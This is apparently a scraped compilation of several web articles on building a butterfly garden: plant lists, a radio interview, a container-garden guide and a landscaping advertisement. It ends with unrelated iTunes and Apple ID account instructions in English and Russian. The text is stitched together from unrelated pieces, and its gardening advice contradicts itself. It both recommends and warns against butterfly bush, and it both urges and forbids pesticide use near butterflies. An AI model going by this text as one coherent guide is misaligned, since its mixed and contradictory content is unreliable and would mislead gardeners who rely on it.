Here is everything you need to make your butterfly garden. A plant pot- the bigger the better. Anything is beneficial but the bigger and more varied your butterfly garden is, the more species you’ll be likely to attract. Next you’ll need compost. If you don’t have any lying around but you have full pots from last year, you can give that compost a new lease of life if you have some plant food. I’ll explain how in the next step. Next you need a variety of butterfly friendly plants. You also need a shallow dish and some marbles/large beads/pebbles. Finally some pebbles to finish it off (optional).

How to create a butterfly garden

So first you need to fill your pot with compost. I revitalised some compost which was already in this pot, hence there not being a photo of the empty pot. I guess most people will have compost at home but for those who don’t, all I did was remove old roots etc from last year’s plants, add some flowering plant food and give it a good mix around.

Once you have a full plant pot, you can start adding your plants. I’ve put my biggest plant in the back centre,so it’s a bit like a feature. Then other plants are added around it. I’ve tried to base where I position plants based on how quickly and how big the plants grow. Although I’m not a plant expert so it may need juggling around later in the season if it starts to look messy (although to be honest my main focus is the butterflies so aslong as no plants are competing with others I may just leave it however it grows). I’ve got in mine: small strawberry plants, lavender, borage, a couple of wild flower seedlings and marigolds

By Mavis Butterfield on May 12, 2015 – 3 Comments

How to create a butterfly garden

Butterflies are awesome. They make your entire yard seem like a nature retreat. Integrating plants that attract them into your garden is s super simple way to ensure you’ll get to enjoy them. The best part is that butterflies have excellent taste, the plants and flowers that attract them are pretty and make your garden a better place. Now, before I go on to explain how to plant a butterfly garden, shall we all hold hands and sing Kumbaya?

How to create a butterfly garden

There are literally HUNDREDS of plants/flowers that will attract butterflies. Each different species of butterflies have different preferences, so your best bet is to plant a variety of plants to ensure you get a variety of butterflies. Different colors attract butterflies in different stages of life, so make sure you have a variety of colors represented too.

To create a butterfly garden, first decide on plants. Here is a list of potentials to choose from :

Black-eyed Susans
Aster
Daylilies
Pawpaws
Lavendar
Hibiscus
Lilac
Butterfly bush
Daisies
Echinacea
Verbena
Rosemary
Marigolds
Oregano
Milkweed

How to create a butterfly garden

Once you have decided on plants, you can simply plant them by integrating them into your existing garden. Each plant has different sunlight/water requirements, so choose your planting location accordingly. The more you spread the plantings out, the more likely every corner of your yard will get some butterfly activity. On the flipside, if you want a concentration of butterflies, try planting your choices in tight clusters.

How to create a butterfly garden

If you really want to be hospitable, set a shallow pan with sand and water out near the plants/flowers for the butterflies to drink from. The more hospitable the environment, the longer the butterfly will stay.

**Remember that butterflies are extremely sensitive to pesticides, so if you don’t garden the organic route, you will want to check that whatever you lay across your yard won’t obliterate your efforts.

This post may contain affiliate links. These affiliate links help support this site. For more information, please see my disclosure policy. Thank you for supporting One Hundred Dollars a Month.

How to create a butterfly garden

To give customers a little something extra to enjoy about their outdoor space, consider creating a butterfly garden.

Butterfly gardens are a popular addition to a landscape for many reasons. Along with creating a space that welcomes butterflies and other pollinators to stop and stay awhile, they also add a beautiful focal point to your customer’s lawn.

Before starting on this type of project, be sure to research which types of butterflies are common in your area, as this will help you rule out certain types of plants and flowers when selecting what should and shouldn’t be in the garden.

Check out a few tips you can keep in mind as you start the planning process of a butterfly garden.

Choosing plants

While it’s true that many different flower and plant varieties will attract butterflies, that doesn’t mean that just any plant can be added to a butterfly garden. It’s important to choose plants that will serve numerous needs, such as acting as a food source and also giving them a safe place to lay eggs.

When picking out plants, you’ll need to include nectar plants that will cater to adult butterflies and plants that will be able to provide sustenance to caterpillars as well. By incorporating plants that fit these two categories, your customer’s space will be better suited to accommodate butterflies in all stages of life.

Having a healthy presence of milkweed in the space can be one of the biggest attractants for pollinators, especially monarch butterflies. Some experts say that monarchs will only lay their eggs on milkweed, therefore it is necessary to have it present in the garden if attracting this particular butterfly is the goal.

How to create a butterfly garden Photo: Pixabay

There are numerous plants out there that could be deemed acceptable for a butterfly garden due to their bright colors and fragrance, but many of these options won’t provide much for caterpillars.

One particular plant you need to avoid, even though the name sounds ideal for this type of garden, is the butterfly bush (Buddleja davidii). With a name like butterfly bush, it’s hard to believe that you shouldn’t add it into the space, but this plant is, in fact, an invasive species native to Asia.

Butterfly bushes will provide butterflies with nectar, but caterpillars will not feed on their leaves, which means that it won’t be a good place to lay eggs.

Red Butterflies Milkweed (Asclepias curassavica ‘Red Butterflies’) is a great perennial option that comes in a mixture of bright yellow and red, which are two colors that attract butterflies the most. This cultivar of milkweed will only require occasional watering after it’s established, and it is fast growing.

Black-Eyed Susans (Rudbeckia hirta) are also great perennial options that add a bright pop of yellow to the space. These flowers have a long bloom season, and they are capable of reseeding themselves after the first season.

Diversity and appeal

To ensure your customer’s space is the most inviting it can be, don’t shy away from planting a wide variety of nectar and host plants, as this will ensure you’re able to attract more butterfly species.

Bright colors might get them into the space, but having areas that provide shelter, water, sun and a wide variety of plants to choose from will keep them around long term.

Having shrubs and trees around the garden can sometimes create an excess of shade, but they also can help cut down on the wind, which is very beneficial for a butterfly garden. When placed properly, these taller additions can make it easier for butterflies to stick around and explore the area without fear of being blown away.

Shrubs and trees also provide shelter for butterflies when it comes time to roost at night, and some types can serve as a food source for caterpillars.

How to create a butterfly garden Photo: Pixabay

Along with giving butterflies a lot to choose from, having different plant varieties in the space will also create an eye-catching focal point in your customer’s yard.

To make the space look more unique, choose plants that will grow at varying heights, ones with different shapes and colors and ones that have a staggered bloom time to ensure there are many different elements of texture and depth in the space.

Grouping multiple plants together will also help unify the look and cut down on the distance butterflies have to fly to get the nectar they desire. If your customer’s space is lacking in horizontal space, keep in mind that you can always go vertical with vines or structures overhead to add a height element.

Butterflies and caterpillars need water in their everyday lives but they don’t need a lot. Sap from trees, dew and nectar all provide butterflies with the liquid they need, and when in a pinch, puddles and moist soil can also offer thirst relief.

With that in mind, you can create a puddling station that can simply be a damp area of ground covered with sand. This can be placed somewhere easy for butterflies to find, and it should also be sheltered from the wind.

A final essential element for butterfly gardens is the sun. Since butterflies are cold-blooded insects, having a designated place in the garden where they can sunbathe for a bit is beneficial.

This spot needs to be located where sun can reach the ground early in the day, and large rocks, a small mound of exposes soil or even some form of paver can lend a hand in providing a space for butterflies to soak up the sun. The garden should also be located where it can receive at least six hours of direct sunlight each day.

How to Create a Butterfly Garden

How to create a butterfly garden

LESLIE: Well, one of the most pleasant sights of summer are butterflies taking flight around your home. And if that’s the kind of wildlife you’d like to see more of, there are butterfly-friendly landscapes that you can create to make them feel even more welcome.

How to create a butterfly garden TOM: That’s right. Butterflies actually have some favorite plants that deliver them the nectar that they need to stick around your yard. Here to tell us how to create our very own butterfly garden is landscaping contractor, Roger Cook, from TV’s This Old House.

ROGER: Thanks for having me.

TOM: Now, is it possible to create a butterfly garden pretty much anywhere in the country?

ROGER: It is. And what you have to do is figure out what type of butterfly you have in your region and then there’ll be specific plants that that butterfly comes to, that it really likes.

TOM: So if we see butterflies no matter where we live, there are things that we can do to get them to hang out a little bit longer.

ROGER: Right. But before you think about the plants, you should think about the caterpillars that are going to become the butterflies. Every butterfly has a tree that it specifically will lay its eggs on.

ROGER: And that’s because when those eggs hatch, that tiny, little caterpillar that comes out has to start feeding right away. And it has a preferred leaf it wants to feed on. If it’s not on the right tree, they won’t grow up to be butterflies.

LESLIE: So now that you know exactly what type of butterfly you have in your area, you head on over to the garden center armed with your research and you sort of pick out a variety of flowers and plants that will both host the caterpillar and then feed the butterfly?

ROGER: That’s right. And you want to get plants that are going to flower throughout the season so you keep the butterflies in your garden. So you have a sequence of plants. And when you buy the plant, don’t buy one; buy like three or five because that really attracts the butterflies and will hold them in the garden.

TOM: Now, besides the plants, what about water? Don’t they need moisture to hang around, as well?

ROGER: Well, they don’t need a big water feature. What they need is a little area that’s moist, that has mud. And they’ll land there and then they’ll take and get minerals from the mud, which helps their diet.

TOM: Alright. So we’re not talking about a big pond; big, aggressive waterfall; a big aerator spraying water all over the place. That’ll just chase them away. We’re just talking about something with maybe just a little tiny bit of movement to keep the mosquitoes down but allow the butterflies to be happy, correct?

ROGER: It doesn’t even have to have standing water; it just has to be wet mud. That’s all you need. So pouring a little bucket every day on an area will be enough to suffice.

TOM: True. You could water your own butterfly garden that way, couldn’t you?

ROGER: You could, yeah.

TOM: Now, what are some of the most common plants that butterflies would like – you’d say it would apply to a good part of the country?

ROGER: Well, we see them on lilacs, which is a fairly common one. There’s one called “butterfly bush,” aptly named because the butterflies love it. And even a plant called “milkweed,” which you see a lot growing in meadows but you can actually plant in your garden.

TOM: So the whole process starts with a bit of brain work, followed up by a little bit of grunt work: putting those right plants in the right place. But after that, it’s a very relaxing feature to have around the house.

ROGER: Well, it’s a great way to adapt the gardens that you already have and just make them a little bit bigger. Get some more flowering plants and just make sure you do it in a sunny area, because that’s what the butterflies like.

TOM: Great advice. Roger Cook from TV’s This Old House, thanks so much for stopping by The Money Pit.

ROGER: Thanks. I love butterflies and I’m glad to share the information.

LESLIE: Alright. You can catch the current season of This Old House and Ask This Old House on PBS. For your local listings, you can visit ThisOldHouse.com.

TOM: And This Old House and Ask This Old House are brought to you by GMC. GMC, built tough.

Leave some weeds or wildflowers because they provide food for both caterpillars and butterflies. Use window jars, hanging pots, baskets, and other containers to attract butterflies to your patios, porches, and other visible parts of your landscape.

Filling your garden with fluttering insects will enhance the beauty of your flowerbeds while also supporting biodiversity.

Butterflies are common in gardens, but several species are declining due to habitat loss.

Here are some simple steps you can take to make your garden, patio, or windowsill more welcoming to visiting butterflies and encourage them to stay.

How do I get more butterflies in my garden?

Provide food
Create warmth
Think about your area
Maximise window boxes
Leave fallen fruit on the ground
Cut down on weeding
Avoid pesticides
Create shelter

What’s the best plant to attract butterflies?

Butterfly Bush (Buddleia)
Phlox
Heliotrope
Lavender
Swamp Milkweed
Flossflower (Ageratum)
Coneflower (Echinacea)
Lantana
Bluestar (Amsonia hubrichtii)
Pot Marigolds
Black-Eyed Susan
Blazing Star Flowers (Liatris spicata)

How do you lure butterflies?

Plant a Wide Variety of Flowers.
Serve up Water in a Butterfly-Friendly Format.
Create a Spot for Sunbathing.
Offer Shelter From the Storm.
Play It Safe.
Provide a Butterfly Maternity Ward.
Give Them a Hangout.

What is the best time of year to raise butterflies?

In the spring and summer, butterflies can be raised. However, when fall arrives, be prepared to release your butterflies into the world. Butterflies migrate to warmer climates during the colder months.

What scents do butterflies find appealing?

Pollinators love apricot, cherry, plum, apple, and crab apple trees in the spring. A sweet acacia tree will add interest and a heady scent to your bee and butterfly garden. The yellow flowers on the acacia tree bloom in early spring, attracting bees and butterflies.

When are butterflies the most active?

Afternoons are typically the hottest time of day, and as a result, our butterflies are most active. On a sunny afternoon, watching butterflies dance all around is sure to lift your spirits.

With spring in full swing and summer just around the corner, summertime flowers are making garden beds beautiful. But did you know that what you plant can also attract butterflies? You can easily plant flowers that butterflies love best. Here’s how.

How to create a butterfly garden

Why We LOVE Butterfly Gardens

Colorful, graceful butterflies add interest to your garden and are relaxing to watch.

Luckily, planting a backyard butterfly garden is easy and fun. And it’s usually low-maintenance, making this a great go-to garden choice for almost any situation. In fact, butterflies love a natural look and feel, with plenty of places to “hide” among the blooms.

The key to raising your own butterflies is to grow plants that a chrysalis (cocoon) can attach to and which the young hatchlings can eat. The flowers and leaves should be the right types to give shelter for adult butterflies and provide plenty of surface area for them to lay eggs on.

By selecting plants that host butterflies throughout their entire life cycle, you’ll be able to follow your “resident” butterflies though every life stage. This provides you and your loved ones and friends with a unique opportunity to observe a truly beautiful facet of nature: the life cycle of the beautiful butterfly.

How to create a butterfly garden

7 Simple Steps to a Beautiful Butterfly Garden

Select a location that gets partial sun during the day and has at least one shady area. A spot at the edge of a wooded area or partly beneath a tree with a decent canopy will do the trick. Most butterfly plants like the sun, but butterflies look for shade when they’re ready to form a chrysalis.

Now you’re ready to get started.

How to create a butterfly garden

Butterfly larvae are hungry creatures and they LOVE variety! Try these: fennel, Asclepias (sometimes called “butterfly weed”), parsley, zinnias, daisies, coneflowers, nettle, hibiscus, willow, and cherry.
Now select some plants that contain nectar, which butterflies love to drink. Nectar plants for butterflies can be annuals or perennials. Most nectar plants have brightly colored tubular shaped flowers. Adult nectar plants include pentas, heliotrope, lantana, butterfly bush, phlox and coreopsis.
Larvae (caterpillars) entering the chrysalis (cocoon) stage need structures to attach to. The larva will begin to make its chrysalis by spinning silk-like threads to the stem, leaf or blade of grass, so have plenty of these sturdy little structures available in your butterfly garden.
Plant flowers in groups. Butterflies are attracted to masses of the same plant; they seek these out when they feel the need to “hide.”
While a little structure is great, try to grow at least some of your plants in groupings that feel “natural” and somewhat wild. Butterflies are attracted to flowers that grow in the wild, so they’ll feel right at home in a garden that has a bit of self-direction.
Use organic fertilizers for your plants, and avoid all insecticides and pesticides, whether natural or chemical. Just as they get rid of pests such as aphids, pesticides may harm your butterfly population. A pesticide-free garden will attract butterflies and other natural animals such as birds because it provides a safe environment.
Provide areas for “puddling.” This fascinating behavior is practiced by male butterflies and involves landing in very shallow water to soak up minerals and salts with their feet. What’s really lovely about puddling is that the butterflies often practice it in groups, so you get a glorious glimpse of natural beauty.
Put out a dish with gravel and add water, or provide a low spot in your butterfly garden if your area experiences occasional rain to fill the indentation.

Butterfly Container Gardens

If space is limited, you can still enjoy a butterfly garden. Simply plant your garden in containers.

You can use one of two different approaches.

One easy method is to plant each flower or grass in its own individual pot. Group the pots on our patio or whatever space you have available to make your “garden.” Use a variety of plants per the directions above.

An alternative method is to plant an entire mini butterfly garden in one large-size pot. You’ll be limited on your amount of plants, so choose one from each grouping above: for larvae to eat, for a chrysalis to attach, and for butterflies to hide in.

Whether you have lots of space or only a few square feet, you can have a successful butterfly garden that provides beauty all summer and autumn long.

By planting appealing flowers, you’ll be amazed at the creatures that come to make their home right before your very eyes.

How to create a butterfly garden

April showers bring May flowers, and May flowers bring butterflies! Georgia is home to Tiger Swallowtails, Black Swallowtails, Cloudless Sulphurs, Painted Ladies, and of course Monarch butterflies. Butterfly gardens are a popular hobby in the warmer months, and with the weather about to change, now is finally the right time for butterfly enthusiasts to get started. Here are some tips to keep the butterflies frequenting your gardens and pollinating your flowers.

Provide Plants That Caterpillars Eat

It is very important to have plants in your garden that the butterflies will lay their eggs on! Because caterpillars can’t travel very far for food, butterflies will look to lay their eggs on plants that their offspring can consume. March and April are prime months for caterpillars to eat before hibernating, so in the spring it is important to have these food sources in your garden. Georgia’s caterpillars typically eat the leaves off of dill, parsley, carrot, fennel, ornamental cassia, canary bird bush, sycamore and willow trees, milkweed, thistle, hollyhock, and sunflower.

Provide Plants with Nectar for Butterflies

The plants that butterflies eat as adults are very different from what they eat as caterpillars. Providing these nectar-rich flowers and plants will ensure that butterflies have something to eat and will stay near your garden. Georgia’s butterflies typically eat the nectar from blue cardinal flowers, blood flowers, Brazilian verbena, butterfly bushes, butterfly weeds, garlic chives, common milkweed, daisy fleabane, dame’s rocket, dogbane, marigolds, mistflowers, Asiatic lilies, purple coneflowers, and New England asters.

Create a Space to Raise and House Your Very Own Butterflies

This can be an activity the whole family can enjoy and is easier than you may think! First, purchase a butterfly habitat or butterfly cage to keep the caterpillars in. Then you can either capture a few butterflies from your yard or purchase a butterfly kit online that includes caterpillars. If you aren’t using the kit, be sure to provide water and leaves from some of the plants listed above. You should keep the caterpillars safe in the netted cage until they are done hibernating. Once they are inside of their cocoons, try not to move the habitat, as you don’t want the cocoons to fall! Once the butterflies hatch and begin flying around, open the cage outside and allow them to use your garden for food.

If some of these plants and flowers are included in your garden, you can expect to see butterflies from early May to late July. You may also see some bees and hummingbirds that are attracted to your nectar-rich plants. Drawing pollinators to your yard is important in a world where they’re in decline. Enjoy tending to your butterfly garden, knowing you’re helping the ecosystem at the same time!

How to create a butterfly garden

If you’re looking for Walnut Creek local landscape design, you may already be thinking ahead to the planting season. Spring is a special time in the garden. After all, it’s when our yards come back to life after the dormancy of winter months. Any landscape architect will tell you that spring is the perfect time to encourage wildlife into your yard. Colorful Butterfly Garden is a place where you can find butterfly, moth, and other insect pictures.

In the Bay Area, the first wild visitors are often birds and butterflies. They’re attracted by colorful flower displays with scented blooms. Butterflies come to feast on nectar, as well as to find somewhere safe to start the next generation of cocoons. Many different species of butterfly are native to the Bay Area, and some of them have been given poetic names, such as the mournful duskywing and the fiery skipper. The mission blue has also been seen in many Bay Area gardens. If you love these little winged visitors as much as we do, you can create a colorful garden for them. In particular, monarchs benefit from a helping hand because they travel such long distances and their larvae only feed on milkweed leaves.

Flowers

Most butterfly species enjoy a wide variety of different blooms that provide them with nectar. They aren’t such fussy eaters, so it’s easier to attract them to your yard. In fact, many native plant species and blooming herbs are perfect for your haven.

Butterflies love to feast on the nectar of the California poppy. And lupines, a perennial from the pea family, are popular as well. This colorful plant is great for many species of butterfly, and has a very rich source of nectar. Along with more ornamental foliage, it is also a good idea to add flowering herbs, like basil, mint, and echinacea, to your garden. These plants can be used in the kitchen, too, and some of them are popular with tea drinkers.

Trees

When you really want to spoil the butterflies in your garden and attract new species, it’s time to add more bushes and flowering trees to your Walnut Creek landscape design. Oaks, willows, and chokecherries are three common species that many butterflies rely on. Fruit trees are also popular with butterflies who love their fragrant blooms. And, when properly cared for, these trees eventually provide fruit for you, too!

Bushes

One Colorful Butterfly Garden should never be without is the buddleia. It is sometimes called the summer lilac, or even the “butterfly bush.” It comes in a variety of colors, including purple and pink, but you can find other shades as well. Buddleia is a favorite in the butterfly kingdom, and they can’t resist visiting a garden with these beautiful blooms. You will often see a summer lilac covered in hovering butterflies. Luckily, it’s a tolerant and low maintenance bush for the busy urban gardener.

Walnut Creek Landscape Design

When you’re planting a butterfly garden, it’s always a good idea to select plants that weren’t treated with chemical pesticides. Often times the nursery staff will be able to answer these types of questions. If you need Walnut Creek landscape design services, or have questions about transforming your yard, contact our friendly team at (925) 200-3661 . Meadowbrook Design is a licensed landscape construction firm that handles all aspects of the design process. Whether you need a landscape architect, or would like to learn more about the plants and trees that would thrive in your yard, we’re here to help.

Besides begin trendy butterfly gardens are fun, exciting, and can bring your yard one step closer to the magical fairy kingdom! Butterflies are amazing and delightful creatures and besides being almost magical to watch, they also happen to be some serious pollinators. Having an active and healthy butterfly population can make the difference between a successful garden and a not so successful garden. So read my tips on How to Build a Butterfly Garden!

How to create a butterfly garden

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This guide isn’t about how to get more butterflies for a month. You want to attract butterflies to your garden and convince them to stay long-term! Like any home, when building your butterfly garden you need to consider food, water, and shelter. Luckily, this is very easy to do when creating your own buttefly garden!

How to Build a Butterfly Garden

Location Location Location

Before we delve into the specific attributes of a butterfly paradise, you need to first consider the best spot in which to put your butterfly garden. Consider a bright sunny spot, with the opportunity for shade. You want the butterflies to have relatively easy access to your other gardens, where they are going to work their pollinating magic skills for your benefit. Also, you want to be able to see and enjoy the butterflies as they enjoy their space – however – you want to make sure they can go about their lives relatively undisturbed. For example, keep the butterfly garden a safe space away from highly traveled walkways, doorways and so on.

Flowers for Butterfly Gardens

It’s important the plant the right flowers if you’re trying to build a butterfly garden. Butterflies seem to really enjoy flowers that are shades of pink and purple. But to be on the safe side – I would search out flowers that span the rainbow.

Blooming time is going to be crucial as well. You want butterflies to have access to their favorite foods throughout their entire life cycle. Plan to have early spring blooms, mid-spring blooms, late spring blooms, early, mid and late summer blooms, as well as early, mid, and late fall blooms as well. The idea is to always have something blooming and available to the butterflies. Consult with your local horticultural society to see what plants your local experienced gardeners recommend.

How to create a butterfly garden

Some great flower choices for pollinators are Columbine – a hardy perennial that blooms in spring and summer, Delphinium – a hardy and tall perennial that also blooms in spring and summer, and Echinacea (AKA Coneflower), which you could even use to make Echinacea tea! But be careful with Echinacea plants, as they can take over, like dandelions, and aren’t much to look at before they bloom. Hollyhocks are very tall also (they can grow up to nine feet) and are hardy perennials and quite elegant, and Lupins are very hardy, quite unique, and have lovely foliage.

You may also want to choose the flowers for your butterfly garden based on the type of butterflies you want to attract. Some people want to help threatened butterflies (those whose populations are dwindling) by planting those butterflies’ favorite plants (which tend to be plants that are native to their area).

There are lots of butterfly-friendly flowers out there, so do a little research and pick the ones that appeal most to you! The National Wildlife Federation has a handy list of what plants different types of butterfly caterpillars prefer.

Butterfly Garden Furniture

Besides those great big juicy flowers, butterflies love to sun themselves, and they also need water. So before you build a butterfly garden in your yard, take some time to plan out where you could put some little amenities for the butterflies. This way, not only will the butterflies come to eat, they will stay to play.

Give the butterflies the chance to lounge in the sun by placing large flat rocks and overturned ceramic pots strategically and decoratively around the butterfly garden. Make sure they are in the sun to give your residents the chance to stretch their wings and bask in the sunlight.

Water of course is also important – so make sure you have a water source available to the butterflies. An aerated bird bath, bubbling fountain or something similar so that the butterflies can get the water they need. Be sure that you are not leaving puddles of stagnant water however, or you will end up with a mosquito breeding ground. The water needs to be moving and fresh.

How to create a butterfly garden

Butterfly Garden Protection

Neighborhood cats aren’t butterflies only predators! Butterflies also have to worry about spiders, birds, ants, wasps, and more. You can help keep your backyard butterflies safe by using pesticides (natural ones are safest for you, your pets, and the butterflies) or by using bug traps. The goal is to limit the predator bugs without accidentally harming the butterflies, or their vulnerable larvae! For birds, you can just get reflective bird deterrents to keep the birds away from the butterfly garden portion of your yard.

Winterizing the Butterfly Garden

Cutting back your butterfly garden plants may destroy some butterfly pupae and even some eggs. However, standing dead plant material also harbors pests. Cleaning up the garden in winter will help reduce the incidence of both pests and diseases in the new growing season. In fact, cleaning up debris and leaf litter before the growing season is one of the simplest and most effective pest and disease management strategies that exist.

You may want to leave whatever dead plant material you wish until late winter. Then cut your plants back and clean it up. Plants that you think may have butterfly pupae or chrysalides could be carefully set aside near the garden until any insects have had a chance to emerge come spring. It’s up to you really – you have to go with your gut and your gardening style as you work to build a butterfly garden.

So as you can see, creating a butterfly garden can be very simple, or you can make it more complex. If you’re interested in learning more in-depth about how to make a beautiful and beneficial butterfly garden, check out Gardening for Butterflies: How You Can Attract and Protect Beautiful, Beneficial Insects. It’s written by the Xerces Society, who are kind of like the most knowledgeable beneficial bug people.

What’s your favorite kind of butterfly?

How to create a free account on itunes for windows pc

June 26, 2022Cat-Diabeteshowwwww toooo dooo?

If you want to buy contents from iTunes or App Store, you have to add funds to iTunes. How to add money to iTunes account, there are some steps as below for your reference. How to add funds to your Apple devices such as iPhone, iPod touch or iPad?

Part 1: How to add money to iTunes account
Part 2: How to update apple credit card
Part 3: How to transfer non-purchased files to iTunes from Mac via iTransfer for Mac

Part 1: How to add money to iTunes account

Firstly, enter the Settings and go into iTunes & App Store, you will be required to sign in by using the Apple ID when you tap the button Apple ID, you should set up an Apple ID in the case you haven’t got yet. Then, go into “Add Funds to Apple ID”, you can choose how much money you want to add or can enter the specific amount you would like to add. Finally, confirm what you have chosen, there might be a prompt to require you to check what you have purchased via a message or other ways. When you give an authorization to what you paid, the money will be deducted from Apple ID, you can purchase the contents in iTunes or App Stores or iCloud storage.

If you want to add funds on the Mac, you can follow the steps as below:
1. Run iTunes and sign in with Apple ID, if you don’t have Apple ID, it is necessary to set up one.
2. Select Account and then click “View My Account” on the top of iTunes interface.

3. Choose “View Account” when you use Apple ID to sign in.
4. When you go into the Account part, select “Add Funds to Apple ID”.
5. Choose the amount you would like to add, or you can choose “Other” and type into the specific amount you need.

6. Click the button “Next” at the right bottom to confirm what you have selected, a prompt will pop up to ask you to check what you purchase through a message or other ways.

Part 2: How to update apple credit card

Credit card can be used for each Apple ID in iTunes, App Store or iBooks. The payment information of Apple iTunes can be updated and is able to change credit cards for iTunes and Apple ID. Moreover, the information of credit card can be deleted on iTunes and Apple ID.
How to add credit card to iTunes if you want to change the old credit card. Firstly, you must know how to remove your credit card from iTunes.
1. Enter the Settings and choose iTunes and App stores, tap “Apple ID” on the top of the screen.
2. Choose “View Apple ID” and go into Payment Information.
3. Select None below the Payment Method in the case that nothing will stop you to remove the credit card.

4. If there is something stop you to remove the credit card, “None” will not show up. Then you need to consider the list option and figure out what stops you to remove credit card.
If you want to add credit card to iTunes, the steps will guide how to do as below:
1. Enter settings on your Apple devices.
2. Choose iTunes & App Store
3. Tap the Apple ID on top and choose “View Apple ID”
4. A prompt will pop up and requires you to sign in by using password
5. Tap the Payment Information and enter the information including the payment address which is relevant to the credit card, tap “Done” on top and exit from the account settings.

Finally, you will complete in adding the credit card to iTunes as you need.

Part 3: How to transfer non-purchased files to iTunes from Mac via iTransfer for Mac

If you are going to transfer the non-purchased files from Mac to iTunes, what should you do to complete this transfer, here we will introduce a simple way of transferring the files between Apple devices, that is Leawo iTransfer for Mac. This is a professional software for transferring files in an effective way. Multi-function and high security are assured to help you to avoid the sync of iTunes in transferring, a variety of files such as apps, music and videos and more are supported to transfer by this software. The transfer is safe and reliable with no data loss during the transfer process. Leawo iTransfer is a great help in managing the various kinds of files in high efficiency. With one click, the files are able to be transferred in a simple way. Below we will show you the detailed steps of how to transfer non-purchased files to iTunes from Mac via iTransfer for Mac.

Для покупки объектов в iTunes Store требуется Apple ID. Если у Вас нет этой учетной записи, Вы можете настроить ее с помощью iTunes. Если Вы уже приобретали объекты на веб-сайте Apple, заказывали фотоальбом или у Вас есть учетная запись iCloud, то у Вас уже есть Apple ID.

Вход в iTunes Store

Если у Вас есть Apple ID, Вы можете войти в iTunes Store, чтобы покупать музыку и видео, просматривать или изменять информацию своей учетной записи и видеть свою историю покупок.

В приложении iTunes на ПК выберите пункт меню «Учетная запись» > «Войти».

Выполните одно из следующих действий.

Вход с использованием Apple ID. Введите свой Apple ID и пароль, затем нажмите «Далее».

Создание Apple ID. Нажмите «Создать новый Apple ID» и следуйте инструкциям на экране.

Чтобы выйти, выберите пункт меню «Учетная запись» > «Выйти».

Изменение информации учетной записи

Вы можете в любое время изменить имя учетной записи Apple ID, пароль или платежную информацию.

В приложении iTunes на ПК выберите пункт меню «Учетная запись» > «Просмотреть», затем войдите в систему.

Внесите изменения, затем нажмите кнопку «Готово».

Ваши изменения сразу же вступают в силу и будут применены ко всем приложениям, в которых используется Ваш Apple ID.

Просмотр истории покупок

Объекты, которые Вы купили в iTunes Store, добавляются в плейлист «Покупки» в приложении iTunes.

В приложении iTunes на ПК выберите пункт меню «Учетная запись» > «Просмотреть», затем войдите в систему.

В окне «Сведения учетной записи» нажмите «Просмотреть все» (в разделе «История покупок»).

История покупок показывает покупки, сделанные с помощью данной учетной записи, причем самые последние покупки показаны первыми.

Чтобы узнать подробнее о своих покупках, выполните одно из следующих действий.

Просмотр подробных сведений о покупке. Нажмите ссылку «Еще» под ценой.

Просмотр подробных сведений о покупках, совершенных до или после определенного времени. Выберите во всплывающем меню требуемый период времени, например «Последние 90 дней».

Если Вы считаете, что в истории Ваших покупок есть ошибки или с Вашего счета списаны средства за объект, который Вы не покупали, посетите веб-страницу Выставление счетов и подписки (на английском языке).

При наличии подписки на Apple Music Вы можете создать профиль Apple Music со своими любимыми артистами, плейлистами и другими данными. Этот профиль можно показывать всем или только друзьям, которых Вы пригласили для его просмотра.

Создав профиль, Вы можете выбрать плейлисты, которые будут в нем отображаться. Вы также можете просматривать профили своих друзей и отправлять запросы на просмотр того, что они слушают.

Примечание. Служба Apple Music доступна не во всех странах и регионах. См. статью службы поддержки Apple Доступность мультимедийных сервисов Apple.

Создание профиля

В приложении iTunes на ПК выберите «Музыка» в раскрывающемся меню в левом верхнем углу, затем нажмите «Для вас».

Если раздел «Для вас» не отображается, войдите в Apple Music, используя свой Apple ID.

Нажмите кнопку учетной записи (в виде фотографии или монограммы) в правом верхнем углу окна, затем нажмите «Начать».

Следуйте инструкциям на экране, чтобы создать имя пользователя, находить друзей и подписываться на них, делиться плейлистами и выполнять другие действия.

Чтобы делиться музыкой только с друзьями, убедитесь, что в разделе «Выберите, кто может подписаться на Вас» выбран вариант «Подтвержденные Вами пользователи».

Примечание. Если Вы организатор группы Семейного доступа, Вы можете разрешить или запретить детям создание профилей Apple Music. См. статью службы поддержки Apple Использование средств родительского контроля на iPhone, iPad и iPod touch.

Редактирование имени или фото профиля

Вы можете изменить имя или фото, отображаемые в Вашем профиле Apple Music.

В приложении iTunes на ПК выберите «Музыка» в раскрывающемся меню в левом верхнем углу, затем нажмите «Для вас».

Если раздел «Для вас» не отображается, войдите в Apple Music, используя свой Apple ID.

Нажмите кнопку учетной записи (в виде фотографии или монограммы) в правом верхнем углу окна, затем нажмите «Изменить».

Выполните любое из следующих действий.

Обновление имени. Введите новое имя.

Обновление фото. Нажмите кнопку Камеры , затем выберите фото из списка «По умолчанию», «Недавние» или «Другое».

Удаление профиля

Вы можете удалить свой профиль, чтобы Ваша музыка и плейлисты больше не отображались в результатах поиска, а Ваши подписчики перестали видеть Вашу музыку в своих профилях. При этом Вы больше не сможете видеть, что слушают Ваши друзья.

Примечание. Удаление профиля не повлияет на Вашу подписку на Apple Music, медиатеку и плейлисты.

В приложении iTunes на ПК выберите «Музыка» в раскрывающемся меню в левом верхнем углу, затем нажмите «Для вас».

Если раздел «Для вас» не отображается, войдите в Apple Music, используя свой Apple ID.

Нажмите кнопку учетной записи (в виде фотографии или монограммы) в правом верхнем углу окна, затем нажмите «Изменить».

Нажмите «Удалить профиль», затем снова нажмите «Удалить профиль» для подтверждения.

Если Вы снова создадите профиль в течение 90 дней, Ваша предыдущая информация и подписчики будут восстановлены.

Примечание. Если Вы удалите профиль, он перестанет отображаться у Ваших подписчиков и в результатах поиска через несколько минут.

An Apple ID is a key part of owning an Apple device, and it is used for access to iCloud, the App Store, iTunes, Apple Music, and more. It is also necessary for syncing content across devices, making purchases, and more.

Creating an ‌Apple ID‌ is free and easy, and it’s the first step to getting an Apple device set up if you’re new to the Apple ecosystem. This how to walks through creating an ‌Apple ID‌ on an a Windows PC.

Open iTunes for Windows and make sure it’s up to date.

Using the menu bar at the top of the iTunes window, select Account > Sign In.

Choose the Create New ‌Apple ID‌ option.

From here, you’ll need to agree to Apple’s Terms and Conditions and Privacy Policy, and then you can fill out the form to create a new ‌Apple ID‌. Your ‌Apple ID‌ will be the email address that you use to sign up for the account.

You need to enter your first name and last name, country, a password, and a series of security questions.

Note that you may be asked to provide a credit card and billing information, but choosing “None” allows the request to be bypassed. ‌Apple ID‌ account sign ups will need to be verified, and Apple will send a verification email.

